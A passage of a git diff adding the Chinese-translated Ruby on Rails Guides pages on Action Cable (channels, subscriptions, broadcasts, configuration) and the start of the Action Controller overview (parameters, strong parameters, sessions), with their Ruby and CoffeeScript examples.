上述例子假设我们已经在应用的其他部分完成了用户身份验证,并且在验证成功后设置了经过用户 ID 签名的 cookie。

尝试建立新连接时,会自动把 cookie 发送给连接实例,用于设置 current_user。通过使用 current_user 标识连接,我们稍后就能够检索指定用户打开的所有连接(如果删除用户或取消对用户的授权,该用户打开的所有连接都会断开)。

3.2 频道

和常规 MVC 中的控制器类似,频道用于封装逻辑工作单元。默认情况下,Rails 会把 ApplicationCable::Channel 类作为频道的父类,用于封装频道之间共享的逻辑。

3.2.1 父频道设置
+
+# app/channels/application_cable/channel.rb
+module ApplicationCable
+  class Channel < ActionCable::Channel::Base
+  end
+end
+
+
+
+

接下来我们要创建自己的频道类。例如,可以创建 ChatChannelAppearanceChannel 类:

+
+# app/channels/chat_channel.rb
+class ChatChannel < ApplicationCable::Channel
+end
+
+# app/channels/appearance_channel.rb
+class AppearanceChannel < ApplicationCable::Channel
+end
+
+
+
+

这样用户就可以订阅频道了,订阅一个或两个都行。

3.2.2 订阅

订阅频道的用户称为订阅者。用户创建的连接称为(频道)订阅。订阅基于连接用户(订阅者)发送的标识符创建,生成的消息将发送到这些订阅。

+
+# app/channels/chat_channel.rb
+class ChatChannel < ApplicationCable::Channel
+  # 当用户成为此频道的订阅者时调用
+  def subscribed
+  end
+end
+
+
+
+

4 客户端组件

4.1 连接

用户需要在客户端创建连接实例。下面这段由 Rails 默认生成的 JavaScript 代码,正是用于在客户端创建连接实例:

4.1.1 连接用户
+
+// app/assets/javascripts/cable.js
+//= require action_cable
+//= require_self
+//= require_tree ./channels
+
+(function() {
+  this.App || (this.App = {});
+
+  App.cable = ActionCable.createConsumer();
+}).call(this);
+
+
+
+

上述代码会创建连接用户,并将通过默认的 /cable 地址和服务器建立连接。我们还需要从现有订阅中至少选择一个感兴趣的订阅,否则将无法建立连接。

4.1.2 订阅者

一旦订阅了某个频道,用户也就成为了订阅者:

+
+# app/assets/javascripts/cable/subscriptions/chat.coffee
+App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" }
+
+# app/assets/javascripts/cable/subscriptions/appearance.coffee
+App.cable.subscriptions.create { channel: "AppearanceChannel" }
+
+
+
+

上述代码创建了订阅,稍后我们还要描述如何处理接收到的数据。

作为订阅者,用户可以多次订阅同一个频道。例如,用户可以同时订阅多个聊天室:

+
+App.cable.subscriptions.create { channel: "ChatChannel", room: "1st Room" }
+App.cable.subscriptions.create { channel: "ChatChannel", room: "2nd Room" }
+
+
+
+

5 客户端-服务器的交互

5.1 流(stream)

频道把已发布内容(即广播)发送给订阅者,是通过所谓的“流”机制实现的。

+
+# app/channels/chat_channel.rb
+class ChatChannel < ApplicationCable::Channel
+  def subscribed
+    stream_from "chat_#{params[:room]}"
+  end
+end
+
+
+
+

有了和模型关联的流,就可以从模型和频道生成所需的广播。下面的例子用于订阅评论频道,以接收 Z2lkOi8vVGVzdEFwcC9Qb3N0LzE 这样的广播:

+
+class CommentsChannel < ApplicationCable::Channel
+  def subscribed
+    post = Post.find(params[:id])
+    stream_for post
+  end
+end
+
+
+
+

向评论频道发送广播的方式如下:

+
+CommentsChannel.broadcast_to(@post, @comment)
+
+
+
+

5.2 广播

广播是指发布/订阅的链接,也就是说,当频道订阅者使用流接收某个广播时,发布者发布的内容会被直接发送给订阅者。

广播也是时间相关的在线队列。如果用户未使用流(即未订阅频道),稍后就无法接收到广播。

在 Rails 应用的其他部分也可以发送广播:

+
+WebNotificationsChannel.broadcast_to(
+  current_user,
+  title: 'New things!',
+  body: 'All the news fit to print'
+)
+
+
+
+

调用 WebNotificationsChannel.broadcast_to 将向当前订阅适配器(生产环境默认为 redis,开发和测试环境默认为 async)的发布/订阅队列推送一条消息,并为每个用户设置不同的广播名。对于 ID 为 1 的用户,广播名是 web_notifications:1

通过调用 received 回调方法,频道会使用流把到达 web_notifications:1 的消息直接发送给客户端。

5.3 订阅

订阅频道的用户,称为订阅者。用户创建的连接称为(频道)订阅。订阅基于连接用户(订阅者)发送的标识符创建,收到的消息将被发送到这些订阅。

+
+# app/assets/javascripts/cable/subscriptions/chat.coffee
+# 假设我们已经获得了发送 Web 通知的权限
+App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" },
+  received: (data) ->
+    @appendLine(data)
+
+  appendLine: (data) ->
+    html = @createLine(data)
+    $("[data-chat-room='Best Room']").append(html)
+
+  createLine: (data) ->
+    """
+    <article class="chat-line">
+      <span class="speaker">#{data["sent_by"]}</span>
+      <span class="body">#{data["body"]}</span>
+    </article>
+    """
+
+
+
+

5.4 向频道传递参数

创建订阅时,可以从客户端向服务器端传递参数。例如:

+
+# app/channels/chat_channel.rb
+class ChatChannel < ApplicationCable::Channel
+  def subscribed
+    stream_from "chat_#{params[:room]}"
+  end
+end
+
+
+
+

传递给 subscriptions.create 方法并作为第一个参数的对象,将成为频道的参数散列。其中必需包含 channel 关键字:

+
+# app/assets/javascripts/cable/subscriptions/chat.coffee
+App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" },
+  received: (data) ->
+    @appendLine(data)
+
+  appendLine: (data) ->
+    html = @createLine(data)
+    $("[data-chat-room='Best Room']").append(html)
+
+  createLine: (data) ->
+    """
+    <article class="chat-line">
+      <span class="speaker">#{data["sent_by"]}</span>
+      <span class="body">#{data["body"]}</span>
+    </article>
+    """
+
+
+
+
+
+# 在应用的某个部分中调用,例如 NewCommentJob
+ActionCable.server.broadcast(
+  "chat_#{room}",
+  sent_by: 'Paul',
+  body: 'This is a cool chat app.'
+)
+
+
+
+

5.5 消息重播

一个客户端向其他已连接客户端重播自己收到的消息,是一种常见用法。

+
+# app/channels/chat_channel.rb
+class ChatChannel < ApplicationCable::Channel
+  def subscribed
+    stream_from "chat_#{params[:room]}"
+  end
+
+  def receive(data)
+    ActionCable.server.broadcast("chat_#{params[:room]}", data)
+  end
+end
+
+
+
+
+
+# app/assets/javascripts/cable/subscriptions/chat.coffee
+App.chatChannel = App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" },
+  received: (data) ->
+    # data => { sent_by: "Paul", body: "This is a cool chat app." }
+
+App.chatChannel.send({ sent_by: "Paul", body: "This is a cool chat app." })
+
+
+
+

所有已连接的客户端,包括发送消息的客户端在内,都将收到重播的消息。注意,重播时使用的参数与订阅频道时使用的参数相同。

6 全栈示例

本节的两个例子都需要进行下列设置:

+
    +
  1. 设置连接;
  2. +
  3. 设置父频道;
  4. +
  5. 连接用户。
  6. +
+

6.1 例 1:用户在线状态(user appearance)

下面是一个关于频道的简单例子,用于跟踪用户是否在线,以及用户所在的页面。(常用于显示用户在线状态,例如当用户在线时,在用户名旁边显示绿色小圆点。)

在服务器端创建在线状态频道(appearance channel):

+
+# app/channels/appearance_channel.rb
+class AppearanceChannel < ApplicationCable::Channel
+  def subscribed
+    current_user.appear
+  end
+
+  def unsubscribed
+    current_user.disappear
+  end
+
+  def appear(data)
+    current_user.appear(on: data['appearing_on'])
+  end
+
+  def away
+    current_user.away
+  end
+end
+
+
+
+

订阅创建后,会触发 subscribed 回调方法,这时可以提示说“当前用户上线了”。上线/下线 API 的后端可以是 Redis、数据库或其他解决方案。

在客户端创建在线状态频道订阅:

+
+# app/assets/javascripts/cable/subscriptions/appearance.coffee
+App.cable.subscriptions.create "AppearanceChannel",
+  # 当服务器上的订阅可用时调用
+  connected: ->
+    @install()
+    @appear()
+
+  # 当 WebSocket 连接关闭时调用
+  disconnected: ->
+    @uninstall()
+
+  # 当服务器拒绝订阅时调用
+  rejected: ->
+    @uninstall()
+
+  appear: ->
+    # 在服务器上调用 `AppearanceChannel#appear(data)`
+    @perform("appear", appearing_on: $("main").data("appearing-on"))
+
+  away: ->
+    # 在服务器上调用 `AppearanceChannel#away`
+    @perform("away")
+
+
+  buttonSelector = "[data-behavior~=appear_away]"
+
+  install: ->
+    $(document).on "turbolinks:load.appearance", =>
+      @appear()
+
+    $(document).on "click.appearance", buttonSelector, =>
+      @away()
+      false
+
+    $(buttonSelector).show()
+
+  uninstall: ->
+    $(document).off(".appearance")
+    $(buttonSelector).hide()
+
+
+
+

6.1.1 客户端-服务器交互
+
    +
  1. 客户端通过 App.cable = ActionCable.createConsumer("ws://cable.example.com")(位于 cable.js 文件中)连接到服务器服务器通过 current_user 标识此连接。
  2. +
  3. 客户端通过 App.cable.subscriptions.create(channel: "AppearanceChannel")(位于 appearance.coffee 文件中)订阅在线状态频道。
  4. +
  5. 服务器发现在线状态频道创建了一个新订阅,于是调用 subscribed 回调方法,也即在 current_user 对象上调用 appear 方法。
  6. +
  7. 客户端发现订阅创建成功,于是调用 connected 方法(位于 appearance.coffee 文件中),也即依次调用 @install@appear@appear 会调用服务器上的 AppearanceChannel#appear(data) 方法,同时提供 { appearing_on: $("main").data("appearing-on") } 数据散列。之所以能够这样做,是因为服务器端的频道实例会自动暴露类上声明的所有公共方法(回调除外),从而使远程过程能够通过订阅的 perform 方法调用它们。
  8. +
  9. 服务器接收向在线状态频道的 appear 动作发起的请求,此频道基于连接创建,连接由 current_user(位于 appearance_channel.rb 文件中)标识。服务器通过 :appearing_on 键从数据散列中检索数据,将其设置为 :on 键的值并传递给 current_user.appear
  10. +
+

6.2 例 2:接收新的 Web 通知

上一节中在线状态的例子,演示了如何把服务器功能暴露给客户端,以便在客户端通过 WebSocket 连接调用这些功能。但是 WebSocket 的伟大之处在于,它是一条双向通道。因此,在本节的例子中,我们要看一看服务器如何调用客户端上的动作。

本节所举的例子是一个 Web 通知频道(Web notification channel),允许我们在广播到正确的流时触发客户端 Web 通知。

创建服务器端 Web 通知频道:

+
+# app/channels/web_notifications_channel.rb
+class WebNotificationsChannel < ApplicationCable::Channel
+  def subscribed
+    stream_for current_user
+  end
+end
+
+
+
+

创建客户端 Web 通知频道订阅:

+
+# app/assets/javascripts/cable/subscriptions/web_notifications.coffee
+# 客户端假设我们已经获得了发送 Web 通知的权限
+App.cable.subscriptions.create "WebNotificationsChannel",
+  received: (data) ->
+    new Notification data["title"], body: data["body"]
+
+
+
+

在应用的其他部分向 Web 通知频道实例发送内容广播:

+
+# 在应用的某个部分中调用,例如 NewCommentJob
+WebNotificationsChannel.broadcast_to(
+  current_user,
+  title: 'New things!',
+  body: 'All the news fit to print'
+)
+
+
+
+

调用 WebNotificationsChannel.broadcast_to 将向当前订阅适配器的发布/订阅队列推送一条消息,并为每个用户设置不同的广播名。对于 ID 为 1 的用户,广播名是 web_notifications:1

通过调用 received 回调方法,频道会用流把到达 web_notifications:1 的消息直接发送给客户端。作为参数传递的数据散列,将作为第二个参数传递给服务器端的广播调用,数据在传输前使用 JSON 进行编码,到达服务器后由 received 解码。

6.3 更完整的例子

关于在 Rails 应用中设置 Action Cable 并添加频道的完整例子,参见 rails/actioncable-examples 仓库。

7 配置

使用 Action Cable 时,有两个选项必需配置:订阅适配器和允许的请求来源。

7.1 订阅适配器

默认情况下,Action Cable 会查找 config/cable.yml 这个配置文件。该文件必须为每个 Rails 环境指定适配器和 URL 地址。关于适配器的更多介绍,请参阅 依赖关系

+
+development:
+  adapter: async
+
+test:
+  adapter: async
+
+production:
+  adapter: redis
+  url: redis://10.10.3.153:6381
+  channel_prefix: appname_production
+
+
+
+

7.1.1 配置适配器

下面是终端用户可用的订阅适配器。

7.1.1.1 async 适配器

async 适配器只适用于开发和测试环境,不应该在生产环境使用。

7.1.1.2 Redis 适配器

Action Cable 包含两个 Redis 适配器:常规的 Redis 和事件型 Redis。这两个适配器都要求用户提供指向 Redis 服务器的 URL。此外,多个应用使用同一个 Redis 服务器时,可以设定 channel_prefix,以免名称冲突。详情参见 Redis PubSub 文档

7.1.1.3 PostgreSQL 适配器

PostgreSQL 适配器使用 Active Record 的连接池,因此使用应用的 config/database.yml 数据库配置连接。以后可能会变。#27214

7.2 允许的请求来源

Action Cable 仅接受来自指定来源的请求。这些来源是在服务器配置文件中以数组的形式设置的,每个来源既可以是字符串,也可以是正则表达式。对于每个请求,都要对其来源进行检查,看是否和允许的请求来源相匹配。

+
+config.action_cable.allowed_request_origins = ['http://rubyonrails.com/', %r{http://ruby.*}]
+
+
+
+

若想禁用来源检查,允许任何来源的请求:

+
+config.action_cable.disable_request_forgery_protection = true
+
+
+
+

在开发环境中,Action Cable 默认允许来自 localhost:3000 的所有请求。

7.3 用户配置

要想配置 URL 地址,可以在 HTML 布局文件的 <head> 元素中添加 action_cable_meta_tag 标签。这个标签会使用环境配置文件中 config.action_cable.url 选项设置的 URL 地址或路径。

7.4 其他配置

另一个常见的配置选项,是应用于每个连接记录器的日志标签。下述示例在有用户账户时使用账户 ID,没有时则标记为“no-account”:

+
+config.action_cable.log_tags = [
+  -> request { request.env['user_account_id'] || "no-account" },
+  :action_cable,
+  -> request { request.uuid }
+]
+
+
+
+

关于所有配置选项的完整列表,请参阅 ActionCable::Server::Configuration 类的 API 文档。

还要注意,服务器提供的数据库连接在数量上至少应该和职程(worker)相等。职程池的默认大小为 100,也就是说数据库连接数量至少为 4。职程池的大小可以通过 config/database.yml 文件中的 pool 属性设置。

8 运行独立的 Cable 服务器

8.1 和应用一起运行

Action Cable 可以和 Rails 应用一起运行。例如,要想监听 /websocket 上的 WebSocket 请求,可以通过 config.action_cable.mount_path 选项指定监听路径:

+
+# config/application.rb
+class Application < Rails::Application
+  config.action_cable.mount_path = '/websocket'
+end
+
+
+
+

在布局文件中调用 action_cable_meta_tag 后,就可以使用 App.cable = ActionCable.createConsumer() 连接到 Cable 服务器。可以通过 createConsumer 方法的第一个参数指定自定义路径(例如,App.cable = +ActionCable.createConsumer("/websocket"))。

对于我们创建的每个服务器实例,以及由服务器派生的每个职程,都会新建对应的 Action Cable 实例,通过 Redis 可以在不同连接之间保持消息同步。

8.2 独立运行

Cable 服务器可以和普通应用服务器分离。此时,Cable 服务器仍然是 Rack 应用,只不过是单独的 Rack 应用罢了。推荐的基本设置如下:

+
+# cable/config.ru
+require_relative '../config/environment'
+Rails.application.eager_load!
+
+run ActionCable.server
+
+
+
+

然后用 bin/cable 中的一个 binstub 命令启动服务器:

+
+#!/bin/bash
+bundle exec puma -p 28080 cable/config.ru
+
+
+
+

上述代码在 28080 端口上启动 Cable 服务器。

8.3 注意事项

WebSocket 服务器没有访问会话的权限,但可以访问 cookie,而在处理身份验证时需要用到 cookie。这篇文章介绍了如何使用 Devise 验证身份。

9 依赖关系

Action Cable 提供了用于处理发布/订阅内部逻辑的订阅适配器接口,默认包含异步、内联、PostgreSQL、事件 Redis 和非事件 Redis 适配器。新建 Rails 应用的默认适配器是异步(async)适配器。

对 Ruby gem 的依赖包括 websocket-drivernio4rconcurrent-ruby

10 部署

Action Cable 由 WebSocket 和线程组成。其中框架管道和用户指定频道的职程,都是通过 Ruby 提供的原生线程支持来处理的。这意味着,只要不涉及线程安全问题,我们就可以使用常规 Rails 线程模型的所有功能。

Action Cable 服务器实现了Rack 套接字劫持 API(Rack socket hijacking API),因此无论应用服务器是否是多线程的,都能够通过多线程模式管理内部连接。

因此,Action Cable 可以和流行的应用服务器一起使用,例如 Unicorn、Puma 和 Passenger。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/action_controller_overview.html b/action_controller_overview.html new file mode 100644 index 0000000..1f4cd59 --- /dev/null +++ b/action_controller_overview.html @@ -0,0 +1,1196 @@ + + + + + + + +Action Controller 概览 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Action Controller 概览

本文介绍控制器的工作原理,以及控制器在应用请求周期中扮演的角色。

读完本文后,您将学到:

+
    +
  • 请求如何进入控制器;
  • +
  • 如何限制传入控制器的参数;
  • +
  • 为什么以及如何把数据存储在会话或 cookie 中;
  • +
  • 处理请求时,如何使用过滤器执行代码;
  • +
  • 如何使用 Action Controller 内置的 HTTP 身份验证功能;
  • +
  • 如何把数据流直接发送给用户的浏览器;
  • +
  • 如何过滤敏感信息,不写入应用的日志;
  • +
  • 如何处理请求过程中可能出现的异常。
  • +
+ + + + +
+
+ +
+
+
+

1 控制器的作用

Action Controller 是 MVC 中的 C(控制器)。路由器决定使用哪个控制器处理请求后,控制器负责解析请求,生成相应的输出。Action Controller 会代为处理大多数底层工作,使用智能的约定,让整个过程清晰明了。

在大多数按照 REST 架构开发的应用中,控制器会接收请求(开发者不可见),从模型中获取数据,或把数据写入模型,再通过视图生成 HTML。如果控制器需要做其他操作,也没问题,以上只不过是控制器的主要作用。

因此,控制器可以视作模型和视图的中间人,让模型中的数据可以在视图中使用,把数据显示给用户,再把用户提交的数据保存或更新到模型中。

路由的处理细节参阅Rails 路由全解

2 控制器命名约定

Rails 控制器的命名约定是,最后一个单词使用复数形式,但也有例外,比如 ApplicationController。例如:用 ClientsController,而不是 ClientController;用 SiteAdminsController,而不是 SiteAdminControllerSitesAdminsController

遵守这一约定便可享用默认的路由生成器(例如 resources 等),无需再指定 :path:controller 选项,而且 URL 和路径的辅助方法也能保持一致性。详情参阅Rails 布局和视图渲染

控制器的命名约定与模型不同,模型的名字习惯使用单数形式。

3 方法和动作

一个控制器是一个 Ruby 类,继承自 ApplicationController,和其他类一样,定义了很多方法。应用接到请求时,路由决定运行哪个控制器和哪个动作,然后 Rails 创建该控制器的实例,运行与动作同名的方法。

+
+class ClientsController < ApplicationController
+  def new
+  end
+end
+
+
+
+

例如,用户访问 /clients/new 添加新客户,Rails 会创建一个 ClientsController 实例,然后调用 new 方法。注意,在上面这段代码中,即使 new 方法是空的也没关系,因为 Rails 默认会渲染 new.html.erb 视图,除非动作指定做其他操作。在 new 方法中,可以声明在视图中使用的 @client 实例变量,创建一个新的 Client 实例:

+
+def new
+  @client = Client.new
+end
+
+
+
+

详情参阅Rails 布局和视图渲染

ApplicationController 继承自 ActionController::Base。后者定义了许多有用的方法。本文会介绍部分方法,如果想知道定义了哪些方法,可查阅 API 文档或源码。

只有公开方法才作为动作调用。所以最好减少对外可见的方法数量(使用 privateprotected),例如辅助方法和过滤器方法。

4 参数

在控制器的动作中,往往需要获取用户发送的数据或其他参数。在 Web 应用中参数分为两类。第一类随 URL 发送,叫做“查询字符串参数”,即 URL 中 ? 符号后面的部分。第二类经常称为“POST 数据”,一般来自用户填写的表单。之所以叫做“POST 数据”,是因为这类数据只能随 HTTP POST 请求发送。Rails 不区分这两种参数,在控制器中都可通过 params 散列获取:

+
+class ClientsController < ApplicationController
+  # 这个动作使用查询字符串参数,因为它响应的是 HTTP GET 请求
+  # 但是,访问参数的方式没有不同
+  # 列出激活客户的 URL 可能是这样的:/clients?status=activated
+  def index
+    if params[:status] == "activated"
+      @clients = Client.activated
+    else
+      @clients = Client.inactivated
+    end
+  end
+
+  # 这个动作使用 POST 参数
+  # 这种参数最常来自用户提交的 HTML 表单
+  # 在 REST 式架构中,这个动作响应的 URL 是“/clients”
+  # 数据在请求主体中发送
+  def create
+    @client = Client.new(params[:client])
+    if @client.save
+      redirect_to @client
+    else
+      # 这一行代码覆盖默认的渲染行为
+      # 默认渲染的是“create”视图
+      render "new"
+    end
+  end
+end
+
+
+
+

4.1 散列和数组参数

params 散列不局限于只能使用一维键值对,其中可以包含数组和嵌套的散列。若想发送数组,要在键名后加上一对空方括号([]):

+
+GET /clients?ids[]=1&ids[]=2&ids[]=3
+
+
+
+

“[”和“]”这两个符号不允许出现在 URL 中,所以上面的地址会被编码成 /clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5d=3。多数情况下,无需你费心,浏览器会代为编码,接收到这样的请求后,Rails 也会自动解码。如果你要手动向服务器发送这样的请求,就要留心了。

此时,params[:ids] 的值是 ["1", "2", "3"]。注意,参数的值始终是字符串,Rails 不会尝试转换类型。

默认情况下,基于安全考虑,参数中的 [nil][nil, nil, &#8230;&#8203;] 会替换成 []。详情参见 生成不安全的查询

若想发送一个散列,要在方括号内指定键名:

+
+<form accept-charset="UTF-8" action="http://github.com/clients" method="post">
+  <input type="text" name="client[name]" value="Acme" />
+  <input type="text" name="client[phone]" value="12345" />
+  <input type="text" name="client[address][postcode]" value="12345" />
+  <input type="text" name="client[address][city]" value="Carrot City" />
+</form>
+
+
+
+

提交这个表单后,params[:client] 的值是 { "name" => "Acme", "phone" => "12345", "address" => { "postcode" => "12345", "city" => "Carrot City" } }。注意 params[:client][:address] 是个嵌套散列。

params 对象的行为类似于散列,但是键可以混用符号和字符串。

4.2 JSON 参数

开发 Web 服务应用时,你会发现,接收 JSON 格式的参数更容易处理。如果请求的 Content-Type 首部是 application/json,Rails 会自动将其转换成 params 散列,这样就可以按照常规的方式使用了。

例如,如果发送如下的 JSON 内容:

+
+{ "company": { "name": "acme", "address": "123 Carrot Street" } }
+
+
+
+

控制器收到的 params[:company]{ "name" => "acme", "address" => "123 Carrot Street" }

如果在初始化脚本中开启了 config.wrap_parameters 选项,或者在控制器中调用了 wrap_parameters 方法,可以放心地省去 JSON 参数中的根元素。此时,Rails 会以控制器名新建一个键,复制参数,将其存入这个键名下。因此,上面的参数可以写成:

+
+{ "name": "acme", "address": "123 Carrot Street" }
+
+
+
+

假设把上述数据发给 CompaniesController,那么参数会存入 :company 键名下:

+
+{ name: "acme", address: "123 Carrot Street", company: { name: "acme", address: "123 Carrot Street" } }
+
+
+
+

如果想修改默认使用的键名,或者把其他参数存入其中,请参阅 API 文档

解析 XML 格式参数的功能现已抽出,制成了 gem,名为 actionpack-xml_parser

4.3 路由参数

params 散列始终有 :controller:action 两个键,但获取这两个值应该使用 controller_nameaction_name 方法。路由中定义的参数,例如 :id,也可通过 params 散列获取。例如,假设有个客户列表,可以列出激活和未激活的客户。我们可以定义一个路由,捕获下面这个 URL 中的 :status 参数:

+
+get '/clients/:status' => 'clients#index', foo: 'bar'
+
+
+
+

此时,用户访问 /clients/active 时,params[:status] 的值是 "active"。同时,params[:foo] 的值会被设为 "bar",就像通过查询字符串传入的一样。控制器还会收到 params[:action],其值为 "index",以及 params[:controller],其值为 "clients"

4.4 default_url_options +

在控制器中定义名为 default_url_options 的方法,可以设置所生成的 URL 中都包含的参数。这个方法必须返回一个散列,其值为所需的参数值,而且键必须使用符号:

+
+class ApplicationController < ActionController::Base
+  def default_url_options
+    { locale: I18n.locale }
+  end
+end
+
+
+
+

这个方法定义的只是预设参数,可以被 url_for 方法的参数覆盖。

如果像上面的代码那样在 ApplicationController 中定义 default_url_options,设定的默认参数会用于生成所有的 URL。default_url_options 也可以在具体的控制器中定义,此时只影响与该控制器有关的 URL。

其实,不是生成的每个 URL 都会调用这个方法。为了提高性能,返回的散列会缓存,因此一次请求至少会调用一次。

4.5 健壮参数

加入健壮参数功能后,Action Controller 的参数禁止在 Avtive Model 中批量赋值,除非参数在白名单中。也就是说,你要明确选择哪些属性可以批量更新,以防不小心允许用户更新模型中敏感的属性。

此外,还可以标记哪些参数是必须传入的,如果没有收到,会交由预定义的 raise/rescue 流程处理,返回“400 Bad Request”。

+
+class PeopleController < ActionController::Base
+  # 这会导致 ActiveModel::ForbiddenAttributesError 异常抛出
+  # 因为没有明确指明允许赋值的属性就批量更新了
+  def create
+    Person.create(params[:person])
+  end
+
+  # 只要参数中有 person 键,这个动作就能顺利执行
+  # 否则,抛出 ActionController::ParameterMissing 异常
+  # ActionController::Base 会捕获这个异常,返回 400 Bad Request 响应
+  def update
+    person = current_account.people.find(params[:id])
+    person.update!(person_params)
+    redirect_to person
+  end
+
+  private
+    # 在一个私有方法中封装允许的参数是个好做法
+    # 这样可以在 create 和 update 动作中复用
+    # 此外,可以细化这个方法,针对每个用户检查允许的属性
+    def person_params
+      params.require(:person).permit(:name, :age)
+    end
+end
+
+
+
+

4.5.1 允许使用的标量值

假如允许传入 :id

+
+params.permit(:id)
+
+
+
+

params 中有 :id 键,且 :id 是标量值,就可以通过白名单检查;否则 :id 会被过滤掉。因此,不能传入数组、散列或其他对象。

允许使用的标量类型有:StringSymbolNilClassNumericTrueClassFalseClassDateTimeDateTimeStringIOIOActionDispatch::Http::UploadedFileRack::Test::UploadedFile

若想指定 params 中的值必须为标量数组,可以把键对应的值设为空数组:

+
+params.permit(id: [])
+
+
+
+

有时无法或不便声明散列参数或其内部结构的有效键,此时可以映射为一个空散列:

+
+params.permit(preferences: {})
+
+
+
+

但是要注意,这样就能接受任何输入了。此时,permit 确保返回的结构中只有允许的标量,其他值都会过滤掉。

若想允许传入整个参数散列,可以使用 permit! 方法:

+
+params.require(:log_entry).permit!
+
+
+
+

此时,允许传入整个 :log_entry 散列及嵌套散列,不再检查是不是允许的标量值。使用 permit! 时要特别注意,因为这么做模型中所有现有的属性及后续添加的属性都允许进行批量赋值。

4.5.2 嵌套参数

也可以允许传入嵌套参数,例如:

+
+params.permit(:name, { emails: [] },
+              friends: [ :name,
+                         { family: [ :name ], hobbies: [] }])
+
+
+
+

此时,允许传入 nameemailsfriends 属性。其中,emails 是标量数组;friends 是一个由资源组成的数组:应该有个 name 属性(任何允许使用的标量值),有个 hobbies 属性,其值是标量数组,以及一个 family 属性,其值只能包含 name 属性(也是任何允许使用的标量值)。

4.5.3 更多示例

你可能还想在 new 动作中限制允许传入的属性。不过,此时无法在根键上调用 require 方法,因为调用 new 时根键还不存在:

+
+# 使用 `fetch` 可以提供一个默认值
+# 这样就可以使用健壮参数了
+params.fetch(:blog, {}).permit(:title, :author)
+
+
+
+

使用模型的类方法 accepts_nested_attributes_for 可以更新或销毁关联的记录。这个方法基于 id_destroy 参数:

+
+# 允许 :id 和 :_destroy
+params.require(:author).permit(:name, books_attributes: [:title, :id, :_destroy])
+
+
+
+

如果散列的键是数字,处理方式有所不同。此时可以把属性作为散列的直接子散列。accepts_nested_attributes_forhas_many 关联同时使用时会得到这种参数:

+
+# 为下面这种数据添加白名单:
+# {"book" => {"title" => "Some Book",
+#             "chapters_attributes" => { "1" => {"title" => "First Chapter"},
+#                                        "2" => {"title" => "Second Chapter"}}}}
+
+params.require(:book).permit(:title, chapters_attributes: [:title])
+
+
+
+

4.5.4 不用健壮参数

健壮参数的目的是为了解决常见问题,不是万用良药。不过,你可以很方便地与自己的代码结合,解决复杂需求。

假设有个参数包含产品名称和一个由任意数据组成的产品附加信息散列,你想过滤产品名称和整个附加数据散列。健壮参数不能过滤由任意键组成的嵌套散列,不过可以使用嵌套散列的键定义过滤规则:

+
+def product_params
+  params.require(:product).permit(:name, data: params[:product][:data].try(:keys))
+end
+
+
+
+

5 会话

应用中的每个用户都有一个会话(session),用于存储少量数据,在多次请求中永久存储。会话只能在控制器和视图中使用,可以通过以下几种存储机制实现:

+
    +
  • ActionDispatch::Session::CookieStore:所有数据都存储在客户端
  • +
  • ActionDispatch::Session::CacheStore:数据存储在 Rails 缓存里
  • +
  • ActionDispatch::Session::ActiveRecordStore:使用 Active Record 把数据存储在数据库中(需要使用 activerecord-session_store gem)
  • +
  • ActionDispatch::Session::MemCacheStore:数据存储在 Memcached 集群中(这是以前的实现方式,现在应该改用 CacheStore)
  • +
+

所有存储机制都会用到一个 cookie,存储每个会话的 ID(必须使用 cookie,因为 Rails 不允许在 URL 中传递会话 ID,这么做不安全)。

多数存储机制都会使用这个 ID 在服务器中查询会话数据,例如在数据库中查询。不过有个例外,即默认也是推荐使用的存储方式——CookieStore。这种机制把所有会话数据都存储在 cookie 中(如果需要,还是可以访问 ID)。CookieStore 的优点是轻量,而且在新应用中使用会话也不用额外的设置。cookie 中存储的数据会使用密令签名,以防篡改。cookie 还会被加密,因此任何能访问 cookie 的人都无法读取其内容。(如果修改了 cookie,Rails 会拒绝使用。)

CookieStore 可以存储大约 4KB 数据,比其他几种存储机制少很多,但一般也够用了。不管使用哪种存储机制,都不建议在会话中存储大量数据。尤其要避免在会话中存储复杂的对象(Ruby 基本对象之外的一切对象,最常见的是模型实例),因为服务器可能无法在多次请求中重组数据,从而导致错误。

如果用户会话中不存储重要的数据,或者不需要持久存储(例如存储闪现消息),可以考虑使用 ActionDispatch::Session::CacheStore。这种存储机制使用应用所配置的缓存方式。CacheStore 的优点是,可以直接使用现有的缓存方式存储会话,不用额外设置。不过缺点也很明显:会话存在时间很短,随时可能消失。

关于会话存储的更多信息,参阅Ruby on Rails 安全指南

如果想使用其他会话存储机制,可以在一个初始化脚本中修改:

+
+# Use the database for sessions instead of the cookie-based default,
+# which shouldn't be used to store highly confidential information
+# (create the session table with "rails g active_record:session_migration")
+# Rails.application.config.session_store :active_record_store
+
+
+
+

签署会话数据时,Rails 会用到会话的键(cookie 的名称)。这个值也可以在一个初始化脚本中修改:

+
+# Be sure to restart your server when you modify this file.
+Rails.application.config.session_store :cookie_store, key: '_your_app_session'
+
+
+
+

还可以传入 :domain 键,指定可使用此 cookie 的域名:

+
+# Be sure to restart your server when you modify this file.
+Rails.application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com"
+
+
+
+

Rails 为 CookieStore 提供了一个密钥,用于签署会话数据。这个密钥可以在 config/secrets.yml 文件中修改:

+
+# Be sure to restart your server when you modify this file.
+
+# Your secret key is used for verifying the integrity of signed cookies.
+# If you change this key, all old signed cookies will become invalid!
+
+# Make sure the secret is at least 30 characters and all random,
+# no regular words or you'll be exposed to dictionary attacks.
+# You can use `rails secret` to generate a secure secret key.
+
+# Make sure the secrets in this file are kept private
+# if you're sharing your code publicly.
+
+development:
